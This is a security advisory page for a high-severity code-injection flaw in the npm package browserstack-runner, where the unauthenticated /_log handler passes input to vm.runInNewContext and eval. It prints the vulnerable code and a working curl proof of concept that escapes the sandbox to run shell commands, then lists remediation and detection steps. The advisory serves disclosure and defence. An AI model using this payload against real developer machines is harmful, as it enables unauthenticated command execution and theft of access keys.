GHSA-6vr3-7wcx-v5g5 — browserstack-runner
HIGHGHSA-6vr3-7wcx-v5g5 is a high-severity (CVSS 8.8) Code Injection vulnerability in browserstack-runner. No vendor fix is recorded yet; mitigation options are listed below.
browserstack-runner vulnerable to Remote Code Execution via vm sandbox escape in _log HTTP handler
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-6vr3-7wcx-v5g5.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-6vr3-7wcx-v5g5 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 379,842 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
browserstack-runnerReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The HTTP handler /_log in lib/server.js (lines 491–515) of browserstack-runner passes unauthenticated user-supplied data to vm.runInNewContext() combined with eval(), enabling a sandbox escape and arbitrary code execution on the host system.
Details
When browserstack-runner starts, it creates an HTTP server on port 8888 (configurable) that listens on all network interfaces (0.0.0.0). The /_log endpoint accepts POST requests and processes the JSON body as follows:
// lib/server.js lines 504-510
var context = { input: query.arguments, format: util.format, output: '' };
var tryEvalOrString = 'function (arg) { try { return eval(\'o = \' + arg); } catch (e) { return arg; } }';
vm.runInNewContext('output = format.apply(null, input.map(' + tryEvalOrString + '));', context);
The vm module is not a security mechanism per Node.js documentation. The context object contains a reference to util.format (a host-context Function), enabling sandbox escape via this.constructor.constructor("return process")().
Unlike the _progress and _report handlers which verify worker UUID authentication, the _log handler does not gate on authentication.
Proof of Concept
# Terminal 1: start the runner
echo '<html><body>t</body></html>' > t.html
echo '{"username":"X","key":"X","test_path":"t.html","test_framework":"qunit","browsers":[]}' > browserstack.json
node bin/runner.js
# Terminal 2: exploit
curl -s http://127.0.0.1:8888/_log \
-H "Content-Type: application/json" \
-d '{"arguments":["this.constructor.constructor(\"return process.mainModule.require(\`child_process\`).execSync(\`id\`).toString()\")()"]}'
# Terminal 1 output shows:
# [undefined] uid=1000(user) gid=1000(user) ...
Impact
An attacker on the same network as a developer running browserstack-runner can execute arbitrary commands on the developer's machine without authentication. The attack window exists for the duration of the test run (typically 1–15 minutes). The BrowserStack access key is accessible in the same process context via environment variables.
Remediation
- Remove
eval()andvm.runInNewContext()from the_loghandler — useJSON.stringify()for safe logging - Add UUID authentication to
_log(matching_progressand_reporthandlers) - Bind the HTTP server on
127.0.0.1instead of0.0.0.0
Credit
Christ Bowel Bouchuen
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | browserstack-runner | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for browserstack-runner, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of browserstack-runner has shipped for GHSA-6vr3-7wcx-v5g5 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Frequently Asked Questions
Is GHSA-6vr3-7wcx-v5g5 in your dependencies?
Find it across npm, including transitive dependencies.